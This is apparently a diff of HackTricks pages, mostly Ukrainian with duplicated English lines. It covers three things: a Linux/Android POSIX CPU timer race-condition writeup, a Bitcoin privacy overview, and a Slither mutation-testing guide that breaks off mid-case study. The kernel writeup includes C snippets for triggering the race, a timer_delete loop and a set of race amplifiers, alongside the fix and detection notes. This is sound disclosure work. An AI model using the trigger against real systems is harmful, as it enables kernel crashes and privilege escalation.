На цій сторінці задокументовано TOCTOU race у POSIX CPU timers для Linux/Android, що може пошкодити стан таймера та спричинити падіння ядра, а за певних обставин — бути спрямоване на ескалацію привілеїв.
Ця сторінка документує TOCTOU race condition у Linux/Android POSIX CPU timers, який може пошкодити стан таймера і призвести до падіння ядра, а за певних обставин може бути спрямований на privilege escalation.
- Затронутий компонент: kernel/time/posix-cpu-timers.c
- Примітив: гонка expiry vs deletion під час виходу task
- Примітив: expiry vs deletion race under task exit
- Залежить від конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Короткий огляд внутрішньої роботи (важливий для експлуатації)
- Три CPU-годинники керують обліком таймерів через cpu_clock_sample():
Короткий огляд внутрішньої будови (relevant for exploitation)
- Три CPU годинники відповідають за облік таймерів через cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- При створенні таймера він зв'язується з task/pid і ініціалізуються вузли timerqueue:
- Створення таймера підключає таймер до task/pid і ініціалізує timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
@ -27,7 +27,7 @@ rcu_read_unlock();
return 0;
}
```
- Активування вставляє у per-base timerqueue і може оновити кеш next-expiry:
- Армування вставляє в per-base timerqueue і може оновити next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Fast path уникає витратної обробки, якщо кешовані терміни спливу не вказують на можливе спрацьовування:
- Швидкий шлях уникає дорогої обробки, якщо тільки кешовані терміни не вказують на можливе спрацьовування:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
@ -50,7 +50,7 @@ return true;
return false;
}
```
Expiration збирає прострочені таймери, позначає їх як спрацьовані, переміщує їх із черги; фактична доставка відкладена:
- Expiration збирає прострочені таймери, позначає їх як спрацьовані, переміщує їх з черги; фактична доставка відкладається:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
@ -69,8 +69,7 @@ return U64_MAX;
}
```
Два режими обробки спрацьовування
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відтерміновується через task_work у цільовому task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відкладається через task_work у цільовому task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в IRQ context
```c
void run_posix_cpu_timers(void) {
@ -91,7 +90,7 @@ lockdep_posixtimer_exit();
}
#endif
```
У IRQ-context path firing list обробляється поза sighand.
У шляху в контексті IRQ список спрацьовувань обробляється поза sighand
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
@ -115,22 +114,22 @@ spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU між спрацьовуванням у контексті IRQ та одночасним видаленням під час виходу задачі
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
- Цільова задача завершується, але ще не повністю зібрана (reaped)
- Інший потік одночасно викликає posix_cpu_timer_del() для того ж таймера
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
4) Негайно після розблокування задача, що завершується, може бути зібрана (reaped); інший потік виконує posix_cpu_timer_del().
5) У цьому вікні posix_cpu_timer_del() може не змогти отримати стан через cpu_timer_task_rcu()/lock_task_sighand() і тому пропустити звичайну перевірку in-flight, яка дивиться timer->it.cpu.firing. Видалення відбувається так, ніби таймер не firing, пошкоджуючи стан під час обробки спрацювання, що призводить до крашів/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
- Навіть тоді, якщо задача вже завершується, task_work_add() не виконується; перевірка exit_state робить обидва режими консистентними.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
@ -139,20 +138,20 @@ Fix (Android common kernel) and rationale
if (tsk->exit_state)
return;
```
- Це запобігає входу в handle_posix_cpu_timers() для задач, що виходять, усуваючи вікно, коли posix_cpu_timer_del() може пропустити it.cpu.firing і змагатися з обробкою закінчення.
- Це запобігає входженню в handle_posix_cpu_timers() для задач, що виходять, усуваючи вікно, у якому posix_cpu_timer_del() може пропустити it.cpu.firing і змагатися з обробкою expiry.
Impact
- Пошкодження пам'яті ядра структур таймерів під час одночасного завершення/видалення може призвести до негайних аварій (DoS) і є потужним примітивом для підвищення привілеїв через можливості довільної маніпуляції станом ядра.
- Пошкодження пам'яті ядра в структурах таймера під час одночасного expiry/видалення може призвести до негайних аварій (DoS) і є потужним примітивом для ескалації привілеїв через можливості довільної маніпуляції станом ядра.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
- Переконайтеся, що CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n і використовуйте ядро без exit_state gating fix.
Runtime strategy
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
- Орієнтуйтеся на потік, який збирається завершитися, і прикріпіть до нього CPU timer (потоковий або процесний годинник):
- Для per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Для process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Установіть дуже короткий початковий термін і малий інтервал, щоб максимізувати входження в IRQ-path:
```c
static timer_t t;
static void setup_cpu_timer(void) {
@ -166,31 +165,31 @@ its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- З суміжного потоку одночасно видаліть той самий таймер, поки цільовий потік завершується:
- З сусіднього потоку одночасно видаліть той самий таймер, поки цільовий потік завершується:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Підсилювачі гонки: висока частота тиків планувальника, завантаження CPU, цикли повторного виходу/повторного створення потоків. Аварія зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий пошук/блокування task одразу після unlock_task_sighand().
- Посилювачі гонок: висока частота тіку планувальника, навантаження CPU, повторювані цикли виходу/повторного створення потоків. Збій зазвичай проявляється, коли posix_cpu_timer_del() не помічає спрацьовування через невдалий пошук/блокування task одразу після unlock_task_sighand().
Виявлення та підвищення стійкості
- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається разом з failed cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями в timerqueue під час виходу задачі.
Detection and hardening
- Mitigation: застосувати exit_state guard; за можливості віддавати перевагу увімкненню CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається разом з невдалим cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями timerqueue під час виходу задачі.
Ключові місця для аудиту (для рецензентів)
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): встановлює ctmr->firing і переміщує вузли
- handle_posix_cpu_timers(): скидає sighand перед циклом спрацьовування
- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення спрацьовування "в польоті"; ця перевірка пропускається, коли пошук/блокування task не вдається під час exit/reap
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення спрацьовування в польоті; ця перевірка пропускається, коли пошук/блокування task не вдається під час виходу/збирання
Примітки для дослідження exploitation
- Розкриту поведінку можна надійно використовувати як примітив аварії ядра; перетворення її на privilege escalation зазвичай потребує додаткового контрольованого перекриття (object lifetime або write-what-where вплив), що виходить за рамки цього резюме. Ставтеся до будь-якого PoC як до потенційно нестабільного й запускайте лише в емуляторах/VMs.
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
## Посилання
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,75 +1,75 @@
# Блокчейн та Криптовalюти
# Блокчейн та криптовалюти
{{#include ../../banners/hacktricks-training.md}}
## Основні поняття
## Базові поняття
- **Smart Contracts** визначаються як програми, що виконуються на блокчейні при виконанні певних умов, автоматизуючи виконання угод без посередників.
- **Decentralized Applications (dApps)** будуються на основі смарт-контрактів, мають дружній для користувача front-end і прозорий, піддаваний аудиту back-end.
- **Tokens & Coins** відрізняються тим, що coins слугують цифровими грошима, тоді як tokens уособлюють цінність або право власності в конкретних контекстах.
- **Utility Tokens** надають доступ до сервісів, а **Security Tokens** позначають право власності на активи.
- **DeFi** означає Decentralized Finance, що надає фінансові послуги без центральних органів.
- **DEX** та **DAOs** відповідно позначають Decentralized Exchange Platforms і Decentralized Autonomous Organizations.
- **Smart Contracts** визначаються як програми, що виконуються на блокчейні за настання певних умов, автоматизуючи виконання угод без посередників.
- **Decentralized Applications (dApps)** базуються на смарт-контрактах, мають зручний для користувача front-end та прозорий, підлягаючий аудиту back-end.
- **Tokens & Coins** різняться тим, що монети виконують роль цифрових грошей, тоді як токени представляють вартість або право власності в конкретних контекстах.
- **Utility Tokens** надають доступ до сервісів, а **Security Tokens** означають право власності на активи.
- **DeFi** означає Decentralized Finance, що пропонує фінансові послуги без центральних органів.
- **DEX** та **DAOs** позначають відповідно Decentralized Exchange Platforms та Decentralized Autonomous Organizations.
## Механізми консенсусу
Механізми консенсусу забезпечують безпечну та узгоджену валідацію транзакцій у блокчейні:
Механізми консенсусу забезпечують безпечну та погоджену валідацію транзакцій у блокчейні:
- **Proof of Work (PoW)** покладається на обчислювальну потужність для перевірки транзакцій.
- **Proof of Stake (PoS)** вимагає від валідаторів утримувати певну кількість токенів, знижуючи енергоспоживання у порівнянні з PoW.
- **Proof of Work (PoW)** покладається на обчислювальну потужність для верифікації транзакцій.
- **Proof of Stake (PoS)** вимагає від валідаторів тримати певну кількість токенів, зменшуючи енергоспоживання порівняно з PoW.
## Основи Bitcoin
### Транзакції
Транзакції Bitcoin включають переведення коштів між адресами. Транзакції підтверджуються цифровими підписами, що гарантує, що лише власник приватного ключа може ініціювати перекази.
Транзакції Bitcoin передбачають передачу коштів між адресами. Транзакції валідуються за допомогою цифрових підписів, що гарантує, що лише власник приватного ключа може ініціювати перекази.
#### Ключові компоненти:
- **Multisignature Transactions** вимагають кількох підписів для авторизації транзакції.
- Транзакції складаються з **inputs** (джерело коштів), **outputs** (призначення), **fees** (сплачуються miners) і **scripts** (правила транзакції).
- Транзакції складаються з **inputs** (джерело коштів), **outputs** (одержувач), **fees** (сплачені майнерам) та **scripts** (правила транзакції).
### Lightning Network
Має на меті покращити масштабованість Bitcoin, дозволяючи проводити багато транзакцій у межах каналу й тільки публікувати кінцевий стан у блокчейн.
Має на меті підвищити масштабованість Bitcoin, дозволяючи виконувати кілька транзакцій у межах каналу й передавати в блокчейн лише кінцевий стан.
## Проблеми конфіденційності Bitcoin
Атаки на конфіденційність, такі як **Common Input Ownership** і **UTXO Change Address Detection**, експлуатують шаблони транзакцій. Стратегії на кшталт **Mixers** і **CoinJoin** підвищують анонімність, затемнюючи зв'язки між транзакціями користувачів.
Атаки на приватність, такі як **Common Input Ownership** та **UTXO Change Address Detection**, використовують закономірності транзакцій. Стратегії на кшталт **Mixers** та **CoinJoin** підвищують анонімність, затемнюючи зв'язки транзакцій між користувачами.
## Анонімне придбання Bitcoin
Методи включають готівкові угоди, майнінг і використання mixers. **CoinJoin** змішує кілька транзакцій, ускладнюючи трасування, тоді як **PayJoin** маскує CoinJoin як звичайні транзакції для підвищення приватності.
Методи включають обмін готівкою, майнінг та використання mixers. **CoinJoin** змішує кілька транзакцій, ускладнюючи трасування, тоді як **PayJoin** маскує CoinJoin як звичайні транзакції для посилення приватності.
# Bitcoin Privacy Atacks
# Атаки на приватність Bitcoin
# Підсумок атак на конфіденційність Bitcoin
# Короткий огляд атак на приватність Bitcoin
У світі Bitcoin конфіденційність транзакцій і анонімність користувачів часто викликають занепокоєння. Нижче спрощений огляд кількох поширених методів, якими нападники можуть скомпрометувати приватність Bitcoin.
У світі Bitcoin приватність транзакцій і анонімність користувачів часто викликають занепокоєння. Ось спрощений огляд кількох поширених методів, якими зловмисники можуть підірвати приватність у Bitcoin.
## **Common Input Ownership Assumption**
Зазвичай рідко трапляється, що inputs від різних користувачів поєднуються в одній транзакції через складність процесу. Тому **два input-адреси в одній транзакції часто вважаються належними одному й тому ж власнику**.
Зазвичай рідко коли inputs від різних користувачів комбінуються в одній транзакції через пов'язану складність. Тому **дві адреси-входи в одній транзакції часто припускають, що належать одному власнику**.
## **UTXO Change Address Detection**
UTXO, або **Unspent Transaction Output**, має бути витрачений повністю в транзакції. Якщо відправляється лише частина, решта повертається на нову change-адресу. Спостерігачі можуть припустити, що ця нова адреса належить відправникові, що ставить під загрозу приватність.
UTXO, або **Unspent Transaction Output**, має бути повністю витраченою в транзакції. Якщо відправляється лише частина, залишок надсилається на нову change-адресу. Спостерігачі можуть припустити, що ця нова адреса належить відправнику, що підриває приватність.
### Приклад
Щоб зменшити це, сервіси mixing або використання кількох адрес можуть допомогти затемнити власність.
Щоб пом'якшити це, служби змішування або використання кількох адрес можуть допомогти затемнити право власності.
## **Social Networks & Forums Exposure**
Користувачі іноді публічно діляться своїми Bitcoin-адресами, що робить **легким прив'язати адресу до її власника**.
Користувачі іноді публікують свої адреси Bitcoin онлайн, що робить **легким зв'язати адресу з її власником**.
## **Transaction Graph Analysis**
Транзакції можна візуалізувати як графи, що виявляє потенційні зв'язки між користувачами на основі потоків коштів.
Транзакції можна візуалізувати у вигляді графів, що виявляє потенційні зв'язки між користувачами на основі потоків коштів.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Цей евристичний підхід базується на аналізі транзакцій із кількома inputs та outputs, щоб вгадати, який output є change, що повертається відправникові.
Цей евристичний підхід ґрунтується на аналізі транзакцій з кількома inputs та outputs, щоб вгадати, який output є рештою (change), що повертається відправнику.
### Приклад
```bash
@ -78,24 +78,24 @@ UTXO, або **Unspent Transaction Output**, має бути витрачени
```
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Forced Address Reuse**
## **Примусове повторне використання адрес**
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Correct Wallet Behavior
### Правильна поведінка гаманця
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Other Blockchain Analysis Techniques**
## **Інші техніки аналізу блокчейну**
- **Exact Payment Amounts:** Транзакції без change ймовірно відбуваються між двома адресами, що належать одному користувачу.
- **Round Numbers:** Кругла сума в транзакції натякає, що це платіж, а не-круглий вихід швидше за все є change.
- **Wallet Fingerprinting:** Різні wallets мають унікальні патерни створення транзакцій, що дозволяє аналітикам ідентифікувати використане програмне забезпечення та потенційно change address.
- **Amount & Timing Correlations:** Розкриття часу або сум транзакцій може зробити їх відстежуваними.
- **Exact Payment Amounts:** Транзакції без change, ймовірно, між двома адресами, які належать одному користувачеві.
- **Round Numbers:** Кругле число в транзакції свідчить про те, що це платіж, а некруглий вихід, швидше за все, є change.
- **Wallet Fingerprinting:** Різні гаманці мають унікальні шаблони створення транзакцій, що дозволяє аналітикам ідентифікувати використане ПО і, можливо, адресу change.
- **Amount & Timing Correlations:** Розкриття часу або сум транзакцій може зробити їх простежуваними.
## **Traffic Analysis**
## **Аналіз трафіку**
Моніторинг мережевого трафіку може дозволити атакам пов’язати транзакції або блоки з IP-адресами, компрометуючи конфіденційність користувачів. Це особливо справедливо, якщо якась організація оперує багатьма Bitcoin nodes, що підвищує їхню здатність відстежувати транзакції.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## More
@ -105,18 +105,18 @@ For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy
## Ways to Get Bitcoins Anonymously
- **Cash Transactions**: Придбання bitcoin за готівку.
- **Cash Alternatives**: Купівля подарункових карток і обмін їх онлайн на bitcoin.
- **Mining**: Найприватніший спосіб заробити bitcoins — майнінг, особливо в одиночку, оскільки mining pools можуть знати IP-адресу майнера. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Теоретично, крадіжка bitcoin також могла б бути способом придбати їх анонімно, хоча це незаконно і не рекомендовано.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Mixing Services
Використовуючи mixing service, користувач може **відправити bitcoins** і отримати **інші bitcoins натомість**, що ускладнює відстеження початкового власника. Однак це вимагає довіри до сервісу, що він не зберігає логи і дійсно повертає bitcoins. Альтернативою mixing можуть бути Bitcoin casinos.
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
## CoinJoin
CoinJoin об’єднує кілька транзакцій від різних користувачів в одну, ускладнюючи для сторонніх зіставлення inputs з outputs. Незважаючи на ефективність, транзакції з унікальними розмірами inputs та outputs все ще можуть бути простежені.
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
@ -124,55 +124,63 @@ For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar se
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), маскує транзакцію між двома сторонами (наприклад, клієнтом і продавцем) як звичайну транзакцію, без характерних однакових виходів, властивих CoinJoin. Це робить її виявлення дуже складним і може знецінити common-input-ownership heuristic, яку використовують сервіси моніторингу транзакцій.
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Транзакції, подібні до наведених вище, можуть бути PayJoin, що підвищує конфіденційність і при цьому залишається невідрізненним від стандартних Bitcoin-транзакцій.
Транзакції, подібні до наведених вище, можуть бути PayJoin, що підвищує конфіденційність, залишаючись невідрізненними від стандартних bitcoin-транзакцій.
**Використання PayJoin може суттєво порушити традиційні методи спостереження**, роблячи його перспективним у розвитку транзакційної приватності.
**Використання PayJoin може суттєво підірвати традиційні методи спостереження**, роблячи його перспективним кроком у прагненні до приватності транзакцій.
# Best Practices for Privacy in Cryptocurrencies
# Кращі практики конфіденційності у криптовалютах
## **Wallet Synchronization Techniques**
## **Техніки синхронізації гаманців**
Щоб підтримувати конфіденційність та безпеку, синхронізація гаманців із блокчейном є критичною. Виділяються два методи:
Щоб підтримувати конфіденційність і безпеку, синхронізація гаманців з блокчейном є критично важливою. Виділяються два методи:
- **Full node**: Завантажуючи весь блокчейн, full node забезпечує максимальну приватність. Всі коли-небудь здійснені транзакції зберігаються локально, що унеможливлює для противників визначити, які саме транзакції чи адреси цікавлять користувача.
- **Client-side block filtering**: Цей метод передбачає створення фільтрів для кожного блоку в блокчейні, що дозволяє гаманцям ідентифікувати релевантні транзакції без розкриття конкретних інтересів спостерігачам мережі. Легкі гаманці завантажують ці фільтри і завантажують повні блоки лише коли знаходять співпадіння з адресами користувача.
- **Full node**: Завантажуючи весь блокчейн, full node забезпечує максимальну конфіденційність. Всі транзакції зберігаються локально, що унеможливлює для супротивника визначити, які саме транзакції або адреси цікавлять користувача.
- **Client-side block filtering**: Цей метод передбачає створення фільтрів для кожного блоку в блокчейні, дозволяючи гаманцям ідентифікувати релевантні транзакції без розкриття конкретних інтересів спостерігачам мережі. Легковісні гаманці завантажують ці фільтри, отримуючи повні блоки лише коли знаходять співпадіння з адресами користувача.
## **Utilizing Tor for Anonymity**
## **Використання Tor для анонімності**
Оскільки Bitcoin працює в peer-to-peer мережі, рекомендується використовувати Tor для приховування вашої IP-адреси, підвищуючи приватність при взаємодії з мережею.
Оскільки Bitcoin працює в peer-to-peer мережі, рекомендується використовувати Tor для приховування вашої IP-адреси, що підвищує приватність під час взаємодії з мережею.
## **Preventing Address Reuse**
## **Запобігання повторного використання адрес**
Щоб захистити приватність, важливо використовувати нову адресу для кожної транзакції. Повторне використання адрес може скомпрометувати приватність, пов’язавши транзакції з однією сутністю. Сучасні гаманці відмовляються від повторного використання адрес через їхній дизайн.
Щоб захистити приватність, важливо використовувати нову адресу для кожної транзакції. Повторне використання адрес може скомпрометувати приватність, пов’язавши транзакції з тією самою сутністю. Сучасні гаманці відвертають від повторного використання адрес через свій дизайн.
## **Strategies for Transaction Privacy**
## **Стратегії приватності транзакцій**
- **Multiple transactions**: Розбивка платежу на кілька транзакцій може ускладнити визначення суми транзакції, зірвавши атаки на приватність.
- **Change avoidance**: Вибір транзакцій, що не потребують change outputs, підвищує приватність, порушуючи методи виявлення зміни.
- **Multiple change outputs**: Якщо уникнути change неможливо, генерація кількох change outputs також може покращити приватність.
- **Multiple transactions**: Розбивка платежу на кілька транзакцій може затемнити суму платежу, ускладнюючи атаки на приватність.
- **Change avoidance**: Вибір транзакцій, які не вимагають change-outputs, підвищує приватність, порушуючи методи виявлення зміни.
- **Multiple change outputs**: Якщо уникнути change не вдається, генерація кількох change-outputs може все ж покращити приватність.
# **Monero: A Beacon of Anonymity**
# **Monero: маяк анонімності**
Monero відповідає на потребу в абсолютній анонімності в цифрових транзакціях, встановлюючи високі стандарти приватності.
Monero вирішує потребу абсолютної анонімності в цифрових транзакціях, встановлюючи високий стандарт приватності.
# **Ethereum: Gas and Transactions**
# **Ethereum: Gas і транзакції**
## **Understanding Gas**
## **Розуміння Gas**
Gas вимірює обчислювальні зусилля, необхідні для виконання операцій в Ethereum, і ціниться в **gwei**. Наприклад, транзакція вартістю 2,310,000 gwei (або 0.00231 ETH) включає gas limit і базову плату, з підказкою (tip) для стимулювання майнерів. Користувачі можуть встановити max fee, щоб не переплачувати; надлишок повертається.
Gas вимірює обчислювальні зусилля, необхідні для виконання операцій в Ethereum, ціною в **gwei**. Наприклад, транзакція вартістю 2,310,000 gwei (або 0.00231 ETH) включає gas limit і base fee, а також tip для стимулювання майнерів. Користувачі можуть встановити max fee, щоб уникнути переплат, при цьому надлишок повертається.
## **Executing Transactions**
## **Виконання транзакцій**
Транзакції в Ethereum включають відправника і одержувача, якими можуть бути як користувацькі, так і smart contract адреси. Вони вимагають комісію і мають бути замайнені. Основна інформація в транзакції включає одержувача, підпис відправника, value, опціональні data, gas limit та fees. Зауважте, що адреса відправника виводиться з підпису, тому в самих даних транзакції вона не потрібна.
Транзакції в Ethereum включають відправника та отримувача, які можуть бути як користувацькими, так і smart contract адресами. Вони потребують плати та мають бути замайнені. Необхідна інформація в транзакції включає отримувача, підпис відправника, значення, опціональні дані, gas limit та збори. Зауважте, що адреса відправника виводиться з підпису, тому її не потрібно вказувати в даних транзакції.
Ці практики та механізми є основою для будь-кого, хто хоче взаємодіяти з криптовалютами, віддаючи пріоритет приватності та безпеці.
Ці практики та механізми є основою для будь-кого, хто прагне взаємодіяти з криптовалютами, віддаючи пріоритет приватності та безпеці.
## References
## Безпека смарт-контрактів
- Mutation testing to find blind spots in test suites:
{{#ref}}
../smart-contract-security/mutation-testing-with-slither.md
{{#endref}}
## Джерела
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -0,0 +1,116 @@
# Мутаційне тестування для Solidity зі Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
Мутаційне тестування "tests your tests" систематично вносить невеликі зміни (mutants) у ваш код на Solidity і повторно запускає набір тестів. Якщо тест падає — мутант вбито. Якщо тести все ще проходять — мутант виживає, що виявляє сліпу зону у вашому наборі тестів, яку line/branch coverage не може виявити.
Ключова ідея: покриття показує, що код був виконаний; мутаційне тестування показує, чи поведінка фактично перевіряється.
## Чому покриття може вводити в оману
Розглянемо цю просту перевірку порогу:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
return true;
} else {
return false;
}
}
```
Модульні тести, які перевіряють лише значення нижче і вище порога, можуть досягати 100% покриття рядків/гілок, при цьому не перевіряючи граничну рівність (==). Рефакторинг до `deposit >= 2 ether` все одно пройде такі тести, тихо порушивши логіку протоколу.
Mutation testing виявляє цю прогалину шляхом мутування умови і перевірки, що ваші тести провалюються.
## Поширені mutation-оператори для Solidity
Механізм мутацій Slither застосовує багато дрібних змін, що змінюють семантику, наприклад:
- Заміна операторів: `+``-`, `*``/`, etc.
- Заміна присвоєння: `+=``=`, `-=``=`
- Заміна констант: ненульове → `0`, `true``false`
- Заперечення/заміна умови всередині `if`/loops
- Закоментувати цілі рядки (CR: Comment Replacement)
- Замінити рядок на `revert()`
- Заміна типів даних: напр., `int128``int64`
Мета: усунути 100% згенерованих мутантів або обґрунтувати тих, що вижили, чітким поясненням.
## Running mutation testing with slither-mutate
Requirements: Slither v0.10.2+.
- Перелік опцій і мутаторів:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry приклад (захопити результати та зберегти повний лог):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на спосіб запуску тестів (наприклад, `npx hardhat test`, `npm test`).
Артефакти та звіти зберігаються за замовчуванням у `./mutation_campaign`. Невиявлені (виживші) мутанти копіюються туди для перевірки.
### Розуміння виводу
Рядки звіту виглядають так:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- Тег у дужках — mutator alias (наприклад, `CR` = Comment Replacement).
- `UNCAUGHT` означає, що tests пройшли під mutated поведінкою → відсутнє твердження.
## Зменшення часу виконання: віддавайте пріоритет impactful mutants
Mutation campaigns можуть займати години або дні. Поради, щоб зменшити витрати:
- Scope: Починайте лише з критичних contracts/directories, потім розширюйте.
- Prioritize mutators: Якщо high-priority mutant на рядку виживає (наприклад, цілий рядок закоментований), можна пропустити lower-priority variants для цього рядка.
- Parallelize tests, якщо ваш runner це дозволяє; кешуйте dependencies/builds.
- Fail-fast: зупиняйтеся раніше, коли зміна явно демонструє прогалину в assertion.
## Triage workflow для surviving mutants
1) Inspect the mutated line and behavior.
- Reproduce locally by applying the mutated line and running a focused test.
2) Strengthen tests to assert state, not only return values.
- Add equality-boundary checks (e.g., test threshold `==`).
- Assert post-conditions: balances, total supply, authorization effects, and emitted events.
3) Replace overly permissive mocks with realistic behavior.
- Ensure mocks enforce transfers, failure paths, and event emissions that occur on-chain.
4) Add invariants for fuzz tests.
- E.g., conservation of value, non-negative balances, authorization invariants, monotonic supply where applicable.
5) Re-run slither-mutate until survivors are killed or explicitly justified.
## Case study: revealing missing state assertions (Arkis protocol)
Mutation campaign під час аудиту Arkis DeFi protocol виявила survivors, такі як:
```text
